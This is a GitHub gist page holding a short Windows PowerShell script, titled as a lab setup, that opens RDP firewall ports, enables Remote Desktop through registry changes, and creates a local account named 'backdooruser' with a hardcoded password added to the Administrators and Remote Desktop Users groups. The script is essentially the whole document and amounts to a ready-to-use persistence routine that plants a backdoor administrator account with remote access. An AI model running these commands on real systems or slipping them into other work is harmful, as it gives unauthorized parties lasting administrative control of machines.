Skip to content

Instantly share code, notes, and snippets.

@saunders-jake
Created February 21, 2025 21:08
Show Gist options
  • Save saunders-jake/3285385f3c9e4be30b9768c69ac8d7c7 to your computer and use it in GitHub Desktop.
Save saunders-jake/3285385f3c9e4be30b9768c69ac8d7c7 to your computer and use it in GitHub Desktop.
Enable RDP with Backdoor User (Lab Environment)
New-NetFirewallRule -DisplayName "RDP (TCP)" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389 -Profile Any -Enabled True | Out-Null
New-NetFirewallRule -DisplayName "RDP (UDP)" -Direction Inbound -Action Allow -Protocol UDP -LocalPort 3389 -Profile Any -Enabled True | Out-Null
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server"-Name "fDenyTSConnections" -Value 0
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\Terminal Services\Client" -Name "fClientDisableUDP" -Value 0
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
net user backdooruser S3cureP@ssw0rd /add
net localgroup administrators backdooruser /add
net localgroup "Remote Desktop Users" backdooruser /add
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment